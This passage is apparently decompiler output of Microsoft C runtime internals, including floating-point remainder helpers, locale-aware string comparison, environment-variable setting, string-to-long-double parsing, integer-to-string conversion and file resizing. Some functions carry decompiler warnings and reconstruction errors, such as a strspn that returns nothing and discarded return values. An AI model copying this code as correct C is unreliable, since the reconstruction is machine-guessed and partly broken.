& 0xF)) && (*(_DWORD *)&a3[6] & 0x7FFF0000) != 2147418112 && *(_DWORD *)&a7[6] & 0x7FFF0000 && (*(_DWORD *)&a7[6] & 0x7FFF0000) != 2147418112 && !(2 * *(_DWORD *)&a7[4]) && !(2 * *(_DWORD *)&a3[4]) ) { v7 = (*(_WORD *)&a3[8] & 0x7FFF) + 63; v8 = *(_WORD *)&a7[8] & 0x7FFF; v9 = v8 < (unsigned int)v7; v10 = v8 - v7; if ( v9 | v10 == 0 ) { while ( (*(_WORD *)&a7[8] & 0x7FFF) - ((*(_WORD *)&a3[8] & 0x7FFF) + 10) >= 0 ) ; } else { v11 = ((a7[8] - a3[8]) & 0x3F | 0x20) + 1; v12 = fabs(*(long double *)a3); v14 = fabs(*(long double *)a7); UNDEF(v13); do { v15 = v14 < v12; v16 = 0; v17 = v14 == v12; if ( !(v13 & 0x100) ) v14 = v14 - v12; UNDEF(v13); v12 = v12 * *(double *)half; --v11; } while ( v11 ); } } if ( a2 & 3 ) { __asm { fnstenv [esp+28h+var_28] fldenv [esp+28h+var_28] } } } // 58852E: array has been used for an input argument //----- (00588734) -------------------------------------------------------- void __usercall _adj_fprem1(int a1, double a2) { char v2; // dl@4 _BYTE v3[12]; // [sp+0h] [bp-34h]@0 int v4; // [sp+Ch] [bp-28h]@0 _BYTE *v5; // [sp+10h] [bp-24h]@0 __int16 v6; // [sp+20h] [bp-14h]@0 *(double *)v3 = a2; if ( *(_DWORD *)&v3[6] & 0x7FFF0000 ) { _fprem1_common(a1, 0, LODWORD(a2), *(unsigned __int64 *)&a2 >> 32, *(int *)&v3[8], v4, v5); } else { if ( a2 != 0.0 ) { v2 = 2; if ( (v6 & 0x7FFFu) > 0x7FBE ) { *(double *)v3 = a2 * *(double *)one_shl_64; } else { v2 = 3; *(double *)v3 = a2 * *(double *)one_shl_64; } _fprem1_common( a1, v2, *(_BYTE **)v3, *(int *)&v3[4], *(int *)&v3[8], SLODWORD(a2), (_BYTE *)(*(unsigned __int64 *)&a2 >> 32)); } } } //----- (005887E9) -------------------------------------------------------- void __usercall _safe_fprem(int a1, double a2) { _adj_fprem(a1, a2); } //----- (005887EF) -------------------------------------------------------- void __usercall _safe_fprem1(int a1, double a2) { _adj_fprem1(a1, a2); } //----- (005887F5) -------------------------------------------------------- double __usercall _adj_fpatan(long double a1, long double a2) { return atan2(a1, a2); } //----- (005887F8) -------------------------------------------------------- void __cdecl _adj_fptan() { ; } //----- (005887FB) -------------------------------------------------------- void __cdecl _87except(int opcode, _exception *exc, unsigned __int16 *pcw16) { unsigned int v3; // ecx@1 bool v4; // zf@1 int v5; // eax@1 int v6; // eax@2 int v7; // eax@3 int v8; // eax@4 int v9; // eax@5 int v10; // eax@6 int v11; // ebx@14 unsigned int v12; // [sp-4h] [bp-94h]@8 unsigned int newctrl; // [sp+Ch] [bp-84h]@1 _FPIEEE_RECORD prec; // [sp+10h] [bp-80h]@18 v3 = *pcw16; v5 = exc->type - 1; v4 = exc->type == 1; newctrl = *pcw16; if ( v4 ) goto LABEL_27; v6 = v5 - 1; if ( !v6 ) { v12 = 4; goto LABEL_14; } v7 = v6 - 1; if ( !v7 ) { v12 = 17; goto LABEL_14; } v8 = v7 - 1; if ( !v8 ) { v12 = 18; goto LABEL_14; } v9 = v8 - 1; if ( !v9 ) { LABEL_27: v12 = 8; LABEL_14: v11 = v12; if ( !_handle_exc(v12, &exc->retval, v3) ) { if ( opcode == 16 || opcode == 22 || opcode == 29 ) { *(double *)&prec.Operand2.Value.Fp32Value = exc->arg2; prec.Operand2._bf16 = prec.Operand2._bf16 & 0xFFFFFFE3 | 3; } else { prec.Operand2._bf16 &= 0xFFFFFFFEu; } _raise_exc(&prec, &newctrl, v11, opcode, &exc->arg1, &exc->retval); } goto LABEL_21; } v10 = v9 - 2; if ( !v10 ) { exc->type = 1; goto LABEL_21; } if ( v10 == 1 ) { v12 = 16; goto LABEL_14; } LABEL_21: _ctrlfp(newctrl, 0xFFFFu); if ( exc->type == 8 || _matherr_flag || !__init_collate() ) _set_errno(exc->type); } //----- (005888F3) -------------------------------------------------------- long double __cdecl _frnd(long double x) { long double result; // st7@1 _ST7 = x; __asm { frndint } return result; } //----- (00588904) -------------------------------------------------------- // local variable allocation has failed! int __cdecl _fpclass(long double x) { int v1; // eax@2 int v2; // eax@3 int result; // eax@5 int v4; // [sp+4h] [bp-4h]@6 if ( (WORD3(x) & 0x7FF0) == 32752 ) { v1 = _sptype(x) - 1; if ( v1 ) { v2 = v1 - 1; if ( v2 ) { if ( v2 != 1 ) return 1; v4 = 2; } else { v4 = 4; } result = v4; } else { result = 512; } } else { if ( !(WORD3(x) & 0x7FF0) && (HIDWORD(x) & 0xFFFFF || LODWORD(x)) ) { result = *(_DWORD *)((char *)&x + 6) != 0 ? 16 : 128; } else { if ( x == 0.0 ) result = *(_DWORD *)((char *)&x + 6) != 0 ? 32 : 64; else result = *(_DWORD *)((char *)&x + 6) != 0 ? 8 : 256; } } return result; } // 588904: variables would overlap: ST10_8/8 and ST10_10/10 //----- (005889A0) -------------------------------------------------------- long double __cdecl _set_exp(long double x, int exp) { double v2; // ST00_8@1 v2 = x; WORD3(v2) = WORD3(x) & 0x800F | 16 * (exp + 1022); return v2; } //----- (005889CA) -------------------------------------------------------- int __cdecl _sptype(long double x) { if ( HIDWORD(x) == 2146435072 ) { if ( !LODWORD(x) ) return 1; } else { if ( x == -1.797693134862316e308 ) return 2; } if ( (WORD3(x) & 0x7FF8) == 32760 ) return 3; if ( (WORD3(x) & 0x7FF8) == 32752 && (HIDWORD(x) & 0x7FFFF || LODWORD(x)) ) return 4; return 0; } //----- (00588A25) -------------------------------------------------------- // local variable allocation has failed! long double __cdecl _decomp(long double x, int *pexp) { long double result; // st7@2 int v3; // edx@2 signed int v4; // edx@6 int v5; // eax@7 if ( x == 0.0 ) { result = 0.0; v3 = 0; } else { if ( !(WORD3(x) & 0x7FF0) && (HIDWORD(x) & 0xFFFFF || LODWORD(x)) ) { v4 = -1021; v5 = x < 0.0; while ( !(BYTE6(x) & 0x10) ) { HIDWORD(x) *= 2; if ( BYTE3(x) & 0x80 ) HIDWORD(x) |= 1u; LODWORD(x) *= 2; --v4; } BYTE6(x) &= 0xEFu; if ( v5 ) BYTE7(x) |= 0x80u; result = _set_exp(x, 0); } else { result = _set_exp(x, 0); v3 = ((*(_DWORD *)((char *)&x + 6) >> 4) & 0x7FF) - 1022; } } *pexp = v3; return result; } // 588A25: variables would overlap: ST1C_8/8 and ST1C_10/10 // 588A25: variables would overlap: ST26_2/2 and ST24_4/4 // 588A25: variables would overlap: ST26_2/2 and ST22_4/4 //----- (00588AF0) -------------------------------------------------------- void __cdecl strspn(char *string, char *control) { unsigned int v2; // eax@1 char *v3; // edx@1 char *v4; // esi@4 signed int v5; // ecx@4 int v6; // [sp+0h] [bp-24h]@1 int v7; // [sp+4h] [bp-20h]@1 int v8; // [sp+8h] [bp-1Ch]@1 int v9; // [sp+Ch] [bp-18h]@1 int v10; // [sp+10h] [bp-14h]@1 int v11; // [sp+14h] [bp-10h]@1 int v12; // [sp+18h] [bp-Ch]@1 int v13; // [sp+1Ch] [bp-8h]@1 v2 = 0; v13 = 0; v12 = 0; v11 = 0; v10 = 0; v9 = 0; v8 = 0; v7 = 0; v6 = 0; v3 = control; while ( 1 ) { LOBYTE(v2) = *v3; if ( !*v3 ) break; ++v3; _bittestandset((signed __int32 *)&v6, v2); } v4 = string; v5 = -1; do { ++v5; LOBYTE(v2) = *v4; if ( !*v4 ) break; ++v4; } while ( _bittest((signed __int32 *)&v6, v2) ); } //----- (00588B36) -------------------------------------------------------- int __cdecl x_ismbbtype(unsigned int tst, int cmask, int kmask) { int result; // eax@3 if ( (unsigned __int8)kmask & (unsigned __int8)byte_146D06E1[(unsigned __int8)tst] || (!cmask ? (result = 0) : (result = (unsigned __int16)(cmask & _pctype[(unsigned __int8)tst])), result) ) result = 1; return result; } //----- (00588B69) -------------------------------------------------------- int __cdecl _ismbblead(unsigned int tst) { return x_ismbbtype(tst, 0, 4); } //----- (00588B7A) -------------------------------------------------------- int __usercall strncnt(const char *string, int cnt) { int v2; // ecx@1 v2 = cnt; if ( cnt ) { while ( 1 ) { --v2; if ( !*string ) break; ++string; if ( !v2 ) goto LABEL_4; } } else { LABEL_4: --v2; } return cnt - v2 - 1; } //----- (00588B96) -------------------------------------------------------- int __cdecl __crtCompareStringA(unsigned int Locale, unsigned int dwCmpFlags, const char *lpString1, int cchCount1, const char *lpString2, int cchCount2, int code_page) { void *v7; // edi@1 signed int v8; // esi@1 signed int v9; // eax@8 char *v11; // eax@25 unsigned __int8 v12; // dl@26 char *v13; // eax@33 unsigned __int8 v14; // dl@34 int v15; // ebx@39 void *v16; // esp@40 void *v17; // eax@40 int v18; // esi@44 void *v19; // esp@45 void *v20; // edi@45 UINT v21; // ebx@57 int v22; // eax@59 int v23; // esi@59 int v24; // [sp+0h] [bp-5Ch]@40 int *wbuffer2; // [sp+Ch] [bp-50h]@45 int buff_size2; // [sp+10h] [bp-4Ch]@44 int buff_size1; // [sp+14h] [bp-48h]@39 int malloc_flag2; // [sp+18h] [bp-44h]@13 int retcode; // [sp+1Ch] [bp-40h]@13 int malloc_flag1; // [sp+20h] [bp-3Ch]@13 char *cbuffer2; // [sp+24h] [bp-38h]@55 const WCHAR *wbuffer1; // [sp+28h] [bp-34h]@40 _cpinfo lpCPInfo; // [sp+2Ch] [bp-30h]@22 CPPEH_RECORD ms_exc; // [sp+44h] [bp-18h]@40 v7 = 0; v8 = 1; if ( !f_use_2 ) { if ( CompareStringW(0, 0, &String1, 1, &String1, 1) ) { f_use_2 = 1; } else { if ( GetLastError() == 120 ) f_use_2 = 2; } } if ( cchCount1 > 0 ) cchCount1 = strncnt(lpString1, cchCount1); v9 = cchCount2; if ( cchCount2 > 0 ) { v9 = strncnt(lpString2, cchCount2); cchCount2 = v9; } if ( f_use_2 == 2 || !f_use_2 ) { cbuffer2 = 0; if ( !Locale ) Locale = lcid; v21 = code_page; if ( !code_page ) v21 = __lc_codepage; v22 = __ansicp(Locale); v23 = v22; if ( v22 == -1 ) return 0; if ( v22 != v21 ) { v7 = __convertcp(v21, v22, lpString1, &cchCount1, 0, 0); if ( !v7 ) return 0; cbuffer2 = __convertcp(v21, v23, lpString2, &cchCount2, 0, 0); if ( !cbuffer2 ) { free(v7); return 0; } lpString1 = (const char *)v7; lpString2 = cbuffer2; } v8 = CompareStringA(Locale, dwCmpFlags, lpString1, cchCount1, lpString2, cchCount2); if ( v7 ) { free(v7); free(cbuffer2); } return v8; } if ( f_use_2 != 1 ) return 0; malloc_flag1 = 0; malloc_flag2 = 0; retcode = 0; if ( !code_page ) code_page = __lc_codepage; if ( !cchCount1 || !v9 ) { if ( cchCount1 == v9 ) return 2; if ( v9 > 1 ) return v8; if ( cchCount1 > 1 ) return 3; if ( !GetCPInfo(code_page, &lpCPInfo) ) return 0; if ( cchCount1 > 0 ) { if ( lpCPInfo.MaxCharSize >= 2 ) { v11 = lpCPInfo.LeadByte; if ( lpCPInfo.LeadByte[0] ) { while ( 1 ) { v12 = v11[1]; if ( !v12 ) break; if ( *lpString1 >= (unsigned __int8)*v11 && *lpString1 <= v12 ) return 2; v11 += 2; if ( !*v11 ) return 3; } } } return 3; } if ( cchCount2 > 0 ) { if ( lpCPInfo.MaxCharSize >= 2 ) { v13 = lpCPInfo.LeadByte; if ( lpCPInfo.LeadByte[0] ) { while ( 1 ) { v14 = v13[1]; if ( !v14 ) break; if ( *lpString2 >= (unsigned __int8)*v13 && *lpString2 <= v14 ) return 2; v13 += 2; if ( !*v13 ) return v8; } } } return v8; } } v15 = MultiByteToWideChar(code_page, 9u, lpString1, cchCount1, 0, 0); buff_size1 = v15; if ( !v15 ) return 0; v16 = alloca(2 * v15); ms_exc.old_esp = (DWORD)&v24; wbuffer1 = (const WCHAR *)&v24; ms_exc.disabled = -1; v17 = &v24; if ( !&v24 ) { v17 = malloc(2 * v15); wbuffer1 = (const WCHAR *)v17; if ( v17 ) { malloc_flag1 = 1; goto LABEL_43; } return 0; } LABEL_43: if ( MultiByteToWideChar(code_page, 1u, lpString1, cchCount1, (LPWSTR)v17, v15) ) { v18 = MultiByteToWideChar(code_page, 9u, lpString2, cchCount2, 0, 0); buff_size2 = v18; if ( v18 ) { v19 = alloca(2 * v18); ms_exc.old_esp = (DWORD)&v24; v20 = &v24; wbuffer2 = &v24; ms_exc.disabled = -1; if ( &v24 ) { LABEL_48: if ( MultiByteToWideChar(code_page, 1u, lpString2, cchCount2, (LPWSTR)v20, v18) ) retcode = CompareStringW(Locale, dwCmpFlags, wbuffer1, v15, (PCNZWCH)v20, v18); if ( malloc_flag2 ) free(v20); goto error_cleanup_1; } v20 = malloc(2 * v18); if ( v20 ) { malloc_flag2 = 1; goto LABEL_48; } } } error_cleanup_1: if ( malloc_flag1 ) free((void *)wbuffer1); return retcode; } //----- (00588F1A) -------------------------------------------------------- int __usercall findenv(int len, const char *name) { char **i; // esi@1 char v3; // al@3 for ( i = _environ; ; ++i ) { if ( !*i ) return -(i - _environ); if ( !_mbsnbicoll(name, *i, len) ) { v3 = (*i)[len]; if ( v3 == 61 ) break; if ( !v3 ) break; } } return i - _environ; } //----- (00588F67) -------------------------------------------------------- char **__usercall copy_environ(char **oldenviron) { int v1; // ecx@1 char **result; // eax@1 void *v3; // esi@4 char *v4; // eax@6 char **v5; // ebx@6 char **newenviron; // [sp+0h] [bp-4h]@4 v1 = 0; result = oldenviron; if ( oldenviron ) { if ( *oldenviron ) { do { ++result; ++v1; } while ( *result ); } v3 = malloc(4 * v1 + 4); newenviron = (char **)v3; if ( !v3 ) _amsg_exit(9); v4 = *oldenviron; v5 = oldenviron; while ( v4 ) { *(_DWORD *)v3 = _strdup(v4); v3 = (char *)v3 + 4; ++v5; v4 = *v5; } *(_DWORD *)v3 = 0; result = newenviron; } return result; } //----- (00588FC8) -------------------------------------------------------- int __cdecl __crtsetenv(char **poption, const int primary) { char *v3; // esi@3 char *v4; // eax@4 bool v5; // zf@6 char **v6; // eax@6 void *v7; // eax@16 void *v8; // eax@18 char **v9; // esi@20 int v10; // eax@20 int v11; // edi@20 int v12; // esi@22 void *v13; // eax@26 int v14; // ecx@32 size_t v15; // eax@35 void *v16; // eax@35 const char *v17; // esi@35 int v18; // eax@36 int retval; // [sp+8h] [bp-10h]@1 char *equal; // [sp+Ch] [bp-Ch]@4 int remove; // [sp+10h] [bp-8h]@6 char *option; // [sp+14h] [bp-4h]@3 retval = 0; if ( !poption ) return -1; v3 = *poption; option = *poption; if ( !*poption || (v4 = _mbschr(v3, 0x3Du), (equal = v4) == 0) || v3 == v4 ) return -1; v5 = v4[1] == 0; v6 = _environ; remove = v5; if ( _environ == (char **)__initenv ) { v6 = copy_environ(_environ); _environ = v6; } if ( !v6 ) { if ( primary && _wenviron ) { if ( __wtomb_environ() ) return -1; } else { if ( remove ) return 0; v7 = malloc(4u); _environ = (char **)v7; if ( !v7 ) return -1; *(_DWORD *)v7 = 0; if ( !_wenviron ) { v8 = malloc(4u); _wenviron = (wchar_t **)v8; if ( !v8 ) return -1; *(_DWORD *)v8 = 0; } } } v9 = _environ; v10 = findenv(option, equal - option); v11 = v10; if ( v10 < 0 || !*v9 ) { if ( !remove ) { if ( v10 < 0 ) v11 = -v10; v13 = realloc(_environ, 4 * v11 + 8); if ( !v13 ) return -1; v14 = (int)((char *)v13 + 4 * v11); *(_DWORD *)v14 = option; *(_DWORD *)(v14 + 4) = 0; *poption = 0; goto LABEL_33; } free(option); *poption = 0; return 0; } v12 = (int)&v9[v10]; free(*(void **)v12); if ( !remove ) { *(_DWORD *)v12 = option; *poption = 0; goto LABEL_34; } while ( *(_DWORD *)v12 ) { *(_DWORD *)v12 = *(_DWORD *)(v12 + 4); ++v11; v12 += 4; } v13 = realloc(_environ, 4 * v11); if ( !v13 ) goto LABEL_34; LABEL_33: _environ = (char **)v13; LABEL_34: if ( primary ) { v15 = strlen(option); v16 = malloc(v15 + 2); v17 = (const char *)v16; if ( v16 ) { strcpy((char *)v16, option); v18 = (int)&equal[v17 - option]; *(_BYTE *)v18 = 0; if ( !SetEnvironmentVariableA(v17, (LPCSTR)(remove == 0 ? v18 + 1 : 0)) ) retval = -1; free((void *)v17); } } if ( remove ) free(option); return retval; } // 146D00D0: using guessed type int __initenv; //----- (0058919D) -------------------------------------------------------- unsigned int __cdecl __strgtold12(_LDBL12 *pld12, const char **p_end_ptr, const char *str, int mult12, int scale, int decpt, int implicit_E) { signed int v7; // eax@1 const char *v8; // edi@1 int v9; // esi@1 const char v10; // cl@2 unsigned __int8 v11; // bl@7 int v12; // ecx@59 int v13; // esi@94 int i; // eax@100 int v15; // eax@106 int v16; // eax@108 __int16 v17; // dx@114 int v18; // ebx@114 signed int v19; // esi@114 signed __int16 v20; // ax@114 unsigned int result; // eax@119 signed int v22; // [sp-4h] [bp-6Ch]@10 signed int v23; // [sp-4h] [bp-6Ch]@12 signed int found_exponent; // [sp+Ch] [bp-5Ch]@1 signed int found_decpoint; // [sp+10h] [bp-58h]@1 int pow; // [sp+14h] [bp-54h]@1 signed __int16 man_sign; // [sp+18h] [bp-50h]@1 signed int exp_sign; // [sp+1Ch] [bp-4Ch]@1 unsigned int result_flags; // [sp+20h] [bp-48h]@1 signed int found_digit; // [sp+24h] [bp-44h]@1 int savedp; // [sp+28h] [bp-40h]@1 int exp_adj; // [sp+2Ch] [bp-3Ch]@1 unsigned int manlen; // [sp+30h] [bp-38h]@1 int manp; // [sp+34h] [bp-34h]@94 char buf[25]; // [sp+38h] [bp-30h]@1 _LDBL12 tmpld12; // [sp+54h] [bp-14h]@106 v7 = 0; v8 = str; v9 = (int)buf; man_sign = 0; exp_sign = 1; manlen = 0; found_digit = 0; found_decpoint = 0; found_exponent = 0; pow = 0; exp_adj = 0; result_flags = 0; savedp = (int)str; while ( 1 ) { v10 = *v8; if ( *v8 != 32 ) { if ( v10 != 9 && v10 != 10 && v10 != 13 ) break; } ++v8; } while ( 2 ) { v11 = *v8++; switch ( v7 ) { case 0: if ( (char)v11 >= 49 && (char)v11 <= 57 ) goto LABEL_10; if ( v11 == __decimal_point ) goto LABEL_12; if ( v11 == 43 ) { man_sign = 0; v7 = 2; continue; } if ( v11 == 45 ) { v7 = 2; man_sign = -32768; continue; } if ( v11 == 48 ) goto LABEL_36; --v8; goto LABEL_71; case 1: v7 = 1; found_digit = 1; if ( (char)v11 >= 49 && (char)v11 <= 57 ) goto LABEL_10; if ( v11 == __decimal_point ) goto LABEL_22; if ( v11 == 43 || v11 == 45 ) goto LABEL_31; if ( v11 == 48 ) continue; goto LABEL_26; case 2: if ( (char)v11 >= 49 && (char)v11 <= 57 ) { LABEL_10: v22 = 3; goto LABEL_81; } if ( v11 == __decimal_point ) { LABEL_12: v23 = 5; goto LABEL_89; } if ( v11 != 48 ) goto LABEL_83; LABEL_36: v7 = 1; continue; case 3: found_digit = 1; while ( isdigit(v11) ) { if ( manlen >= 0x19 ) { ++exp_adj; } else { ++manlen; *(_BYTE *)v9++ = v11 - 48; } v11 = *v8++; } if ( v11 != __decimal_point ) goto LABEL_54; LABEL_22: v23 = 4; goto LABEL_89; case 4: found_digit = 1; found_decpoint = 1; if ( !manlen ) { while ( v11 == 48 ) { --exp_adj; v11 = *v8++; } } while ( isdigit(v11) ) { if ( manlen < 0x19 ) { ++manlen; *(_BYTE *)v9++ = v11 - 48; --exp_adj; } v11 = *v8++; } LABEL_54: if ( v11 == 43 || v11 == 45 ) { LABEL_31: --v8; v23 = 11; } else { LABEL_26: if ( (char)v11 <= 67 || (char)v11 > 69 && ((char)v11 <= 99 || (char)v11 > 101) ) { LABEL_70: --v8; goto LABEL_71; } v23 = 6; } goto LABEL_89; case 5: found_decpoint = 1; if ( !isdigit(v11) ) goto LABEL_83; v22 = 4; goto LABEL_81; case 6: v12 = (int)(v8 - 2); savedp = (int)(v8 - 2); if ( (char)v11 >= 49 && (char)v11 <= 57 ) goto LABEL_80; if ( v11 == 43 ) goto LABEL_88; if ( v11 == 45 ) goto LABEL_87; if ( v11 == 48 ) goto LABEL_64; goto LABEL_93; case 8: found_exponent = 1; while ( v11 == 48 ) v11 = *v8++; if ( (char)v11 < 49 || (char)v11 > 57 ) goto LABEL_70; goto LABEL_80; case 7: if ( (char)v11 >= 49 && (char)v11 <= 57 ) { LABEL_80: v22 = 9; LABEL_81: v7 = v22; --v8; continue; } if ( v11 != 48 ) { LABEL_83: v8 = (const char *)savedp; goto LABEL_71; } LABEL_64: v23 = 8; goto LABEL_89; case 11: if ( !implicit_E ) { v7 = 10; --v8; LABEL_91: if ( v7 == 10 ) goto LABEL_71; continue; } v12 = (int)(v8 - 1); savedp = (int)(v8 - 1); if ( v11 == 43 ) { LABEL_88: v23 = 7; LABEL_89: v7 = v23; continue; } if ( v11 == 45 ) { LABEL_87: exp_sign = -1; v7 = 7; continue; } LABEL_93: v8 = (const char *)v12; LABEL_71: *p_end_ptr = v8; if ( !found_digit ) { result_flags = 4; LABEL_118: v17 = 0; v20 = 0; v19 = 0; v18 = 0; goto LABEL_119; } if ( manlen > 0x18 ) { if ( buf[23] >= 5 ) ++buf[23]; --v9; ++exp_adj; manlen = 24; } if ( !manlen ) goto LABEL_118; while ( 1 ) { --v9; if ( *(_BYTE *)v9 ) break; --manlen; ++exp_adj; } __mtold12(buf, manlen, &tmpld12); v15 = pow; if ( exp_sign < 0 ) v15 = -pow; v16 = exp_adj + v15; if ( !found_exponent ) v16 += scale; if ( !found_decpoint ) v16 -= decpt; if ( v16 > 5200 ) { v18 = 0; v20 = 32767; v19 = -2147483648; v17 = 0; result_flags = 2; goto LABEL_119; } if ( v16 < -5200 ) { result_flags = 1; goto LABEL_118; } __multtenpow12(&tmpld12, v16, mult12); v17 = *(_WORD *)&tmpld12; v18 = *(_DWORD *)&tmpld12.ld12[2]; v19 = *(_DWORD *)&tmpld12.ld12[6]; v20 = *(_WORD *)&tmpld12.ld12[10]; LABEL_119: *(_DWORD *)&pld12->ld12[6] = v19; *(_DWORD *)&pld12->ld12[2] = v18; *(_WORD *)&pld12->ld12[10] = man_sign | v20; result = result_flags; *(_WORD *)&pld12->ld12[0] = v17; return result; default: goto LABEL_91; case 9: manp = v9; found_exponent = 1; v13 = 0; while ( 2 ) { if ( isdigit(v11) ) { v13 = (char)v11 + 10 * v13 - 48; if ( v13 <= 5200 ) { v11 = *v8++; continue; } v13 = 5201; } break; } pow = v13; for ( i = v11; isdigit(i); i = (unsigned __int8)i ) LOBYTE(i) = *v8++; v9 = manp; --v8; goto LABEL_71; } } } //----- (005895D1) -------------------------------------------------------- int __cdecl __crtGetLocaleInfoW(unsigned int Locale, unsigned int LCType, unsigned __int16 *lpLCData, int cchData, int code_page) { int v6; // eax@12 void *v7; // esp@14 void *v8; // esi@14 unsigned __int16 *v9; // [sp-8h] [bp-3Ch]@19 int v10; // [sp-4h] [bp-38h]@19 int v11; // [sp+0h] [bp-34h]@14 int *buffer; // [sp+Ch] [bp-28h]@14 int malloc_flag; // [sp+10h] [bp-24h]@10 unsigned int buff_size; // [sp+14h] [bp-20h]@12 int retval; // [sp+18h] [bp-1Ch]@10 CPPEH_RECORD ms_exc; // [sp+1Ch] [bp-18h]@14 if ( !f_use_3 ) { if ( GetLocaleInfoW(0, 1u, 0, 0) ) { f_use_3 = 1; } else { if ( GetLastError() == 120 ) f_use_3 = 2; } } if ( f_use_3 == 1 ) return GetLocaleInfoW(Locale, LCType, lpLCData, cchData); if ( f_use_3 != 2 && f_use_3 ) return 0; retval = 0; malloc_flag = 0; if ( !code_page ) code_page = __lc_codepage; v6 = GetLocaleInfoA(Locale, LCType, 0, 0); buff_size = v6; if ( !v6 ) return 0; v7 = alloca(v6); ms_exc.old_esp = (DWORD)&v11; v8 = &v11; buffer = &v11; ms_exc.disabled = -1; if ( !&v11 ) { v8 = malloc(buff_size); if ( !v8 ) return 0; malloc_flag = 1; } if ( GetLocaleInfoA(Locale, LCType, (LPSTR)v8, buff_size) ) { if ( cchData ) { v10 = cchData; v9 = lpLCData; } else { v10 = 0; v9 = 0; } retval = MultiByteToWideChar(code_page, 1u, (LPCSTR)v8, -1, v9, v10); } if ( malloc_flag ) free(v8); return retval; } //----- (00589701) -------------------------------------------------------- int __cdecl __crtGetLocaleInfoA(unsigned int Locale, unsigned int LCType, char *lpLCData, int cchData, int code_page) { int v5; // ebx@11 int result; // eax@12 void *v7; // esp@13 void *v8; // edi@13 char *v9; // [sp-10h] [bp-44h]@18 int v10; // [sp-Ch] [bp-40h]@18 int v11; // [sp+0h] [bp-34h]@13 int *wbuffer; // [sp+Ch] [bp-28h]@13 int buff_size; // [sp+10h] [bp-24h]@11 int malloc_flag; // [sp+14h] [bp-20h]@9 int retval; // [sp+18h] [bp-1Ch]@9 CPPEH_RECORD ms_exc; // [sp+1Ch] [bp-18h]@13 if ( !f_use_4 ) { if ( GetLocaleInfoW(0, 1u, 0, 0) ) { f_use_4 = 1; } else { if ( GetLastError() == 120 ) f_use_4 = 2; } } if ( f_use_4 != 2 && f_use_4 ) { if ( f_use_4 != 1 ) return 0; retval = 0; malloc_flag = 0; if ( !code_page ) code_page = __lc_codepage; v5 = GetLocaleInfoW(Locale, LCType, 0, 0); buff_size = v5; if ( !v5 ) return 0; v7 = alloca(2 * v5); ms_exc.old_esp = (DWORD)&v11; v8 = &v11; wbuffer = &v11; ms_exc.disabled = -1; if ( !&v11 ) { v8 = malloc(2 * v5); if ( !v8 ) return 0; malloc_flag = 1; } if ( GetLocaleInfoW(Locale, LCType, (LPWSTR)v8, v5) ) { if ( cchData ) { v10 = cchData; v9 = lpLCData; } else { v10 = 0; v9 = 0; } retval = WideCharToMultiByte(code_page, 0, (LPCWSTR)v8, -1, v9, v10, 0, 0); } if ( malloc_flag ) free(v8); result = retval; } else { result = GetLocaleInfoA(Locale, LCType, lpLCData, cchData); } return result; } //----- (00589841) -------------------------------------------------------- int __cdecl _strnicmp(const char *dst, const char *src, unsigned int count) { threadlocaleinfostruct *v3; // ebx@1 int result; // eax@5 const char *v5; // esi@6 const char *v6; // edi@6 int v7; // eax@7 int f; // [sp+4h] [bp-4h]@7 v3 = _getptd()->ptlocinfo; if ( v3 != ___ptlocinfo ) v3 = __updatetlocinfo(); if ( count ) { if ( v3->lc_handle[2] ) { v5 = dst; v6 = src; do { f = __tolower_mt(v3, (unsigned __int8)*v5++); v7 = __tolower_mt(v3, (unsigned __int8)*v6++); --count; } while ( count && f && f == v7 ); result = f - v7; } else { __ascii_strnicmp((char *)dst, (char *)src, count); } } else { result = 0; } return result; } //----- (005898C0) -------------------------------------------------------- void __usercall xtoa(unsigned int val, char *buf, unsigned int radix, int is_neg) { char *v4; // esi@3 unsigned int v5; // edx@4 unsigned int v6; // ett@4 char v7; // dl@5 char *v8; // ecx@8 char v9; // al@9 if ( is_neg ) { *buf++ = 45; val = -val; } v4 = buf; do { v6 = val; val /= radix; v5 = v6 % radix; if ( v6 % radix <= 9 ) v7 = v5 + 48; else v7 = v5 + 87; *buf++ = v7; } while ( val ); *buf = 0; v8 = buf - 1; do { v9 = *v8; *v8-- = *v4; *v4++ = v9; } while ( v4 < v8 ); } //----- (005898FE) -------------------------------------------------------- char *__cdecl _itoa(int val, char *buf, int radix) { int v4; // [sp-8h] [bp-8h]@3 int v5; // [sp-4h] [bp-4h]@3 if ( radix != 10 || val >= 0 ) { v5 = 0; v4 = radix; } else { v5 = 1; v4 = 10; } xtoa(val, buf, v4, v5); return buf; } //----- (00589928) -------------------------------------------------------- int __cdecl _chsize_lk(int filedes, int size) { int v2; // esi@1 int v3; // eax@2 int v4; // edi@3 unsigned int v5; // eax@5 int v6; // eax@7 int v7; // eax@15 unsigned int *v8; // edi@16 int result; // eax@17 int oldmode; // [sp+0h] [bp-100Ch]@4 int place; // [sp+4h] [bp-1008h]@1 char blanks[4096]; // [sp+8h] [bp-1004h]@4 v2 = 0; place = _lseek_lk(filedes, 0, 1); if ( place == -1 || (v3 = _lseek_lk(filedes, 0, 2), v3 == -1) ) { result = -1; } else { v4 = size - v3; if ( size - v3 <= 0 ) { if ( size - v3 < 0 ) { _lseek_lk(filedes, size, 0); v7 = _get_osfhandle(filedes); v2 = (SetEndOfFile((HANDLE)v7) != 0) - 1; if ( v2 == -1 ) { *_errno() = 13; v8 = __doserrno(); *v8 = GetLastError(); } } } else { memset(blanks, 0, 0x1000u); oldmode = _setmode_lk(filedes, 32768); while ( 1 ) { v5 = 4096; if ( v4 < 4096 ) v5 = v4; v6 = _write_lk(filedes, blanks, v5); if ( v6 == -1 ) break; v4 -= v6; if ( v4 <= 0 ) goto LABEL_13; } if ( *__doserrno() == 5 ) *_errno() = 13; v2 = -1; LABEL_13: _setmode_lk(filedes, oldmode); } _lseek_lk(filedes, place, 0); result = v2; } return result; } //----- (00589A69) -------------------------------------------------------- int __cdecl __addl(unsigned int x, unsigned int y, unsigned int *sum) { unsigned int v3; // ecx@1 int result; // eax@1 v3 = x + y; result = 0; if ( x + y < x || v3 < y ) result = 1; *sum = v3; return result; } //----- (00589A8A) -------------------------------------------------------- void __cdecl __add_12(_LDBL12 *x, _LDBL12 *y) { if ( __addl(*(_DWORD *)&x->ld12[0], *(_DWORD *)&y->ld12[0], (unsigned int *)x) && __addl(*(_DWORD *)&x->ld12[4], 1u, (unsigned int *)&x->ld12[4]) ) ++*(_DWORD *)&x->ld12[8]; if ( __addl(*(_DWORD *)&x->ld12[4], *(_DWORD *)&y->ld12[4], (unsigned int *)&x->ld12[4]) ) ++*(_DWORD *)&x->ld12[8]; __addl(*(_DWORD *)&x->ld12[8], *(_DWORD *)&y->ld12[8], (unsigned int 